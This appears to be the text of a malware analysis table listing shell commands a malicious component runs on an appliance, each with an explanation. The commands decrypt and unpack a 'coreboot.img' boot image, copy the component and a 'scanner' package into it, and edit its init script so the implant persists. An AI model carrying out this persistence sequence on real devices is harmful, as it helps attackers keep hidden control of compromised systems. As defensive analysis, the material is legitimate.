/bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz $key Executes dsmain with the -d argument to decrypt 'coreboot.img' using the extracted $key and stores the output as 'coreboot.img.1.gz' /bin/mkdir /tmp/coreboot_fs Makes a new directory '/tmp/coreboot_fs'. /bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1 Executes dsmain to decompress 'coreboot.img.1.gz' into 'coreboot.img.1' within the new directory. cd /tmp/coreboot_fs Changes into the '/tmp/coreboot_fs' directory. /bin/dsmain cpio -idvm < coreboot.img.1 Executes dsmain with cpio -idvm to extract the compressed 'coreboot.img.1'. /bin/rm coreboot.img.1 Deletes 'coreboot.img.1'. cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain Copies dsmain into the 'coreboot_fs' directory. cp /lib/%s /tmp/coreboot_fs/lib/%s Copies itself into the 'coreboot_fs' directory. cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/scanner-0.1-py3.6.egg Copies the python package 'scanner-0.1-py3.6.egg' into the 'coreboot_fs' directory. /bin/sed -i rollback_on_error $? "Extracting Package" Modifies the boot process by adding the below commands to the file '/tmp/coreboot_fs/bin/init' below the line 'rollback_on_error $? "Extracting Package".
https://media.infosec.exchange/infosec.exchange/media_attachments/files/114/242/188/922/476/711/original/bc28aff67a556af7.png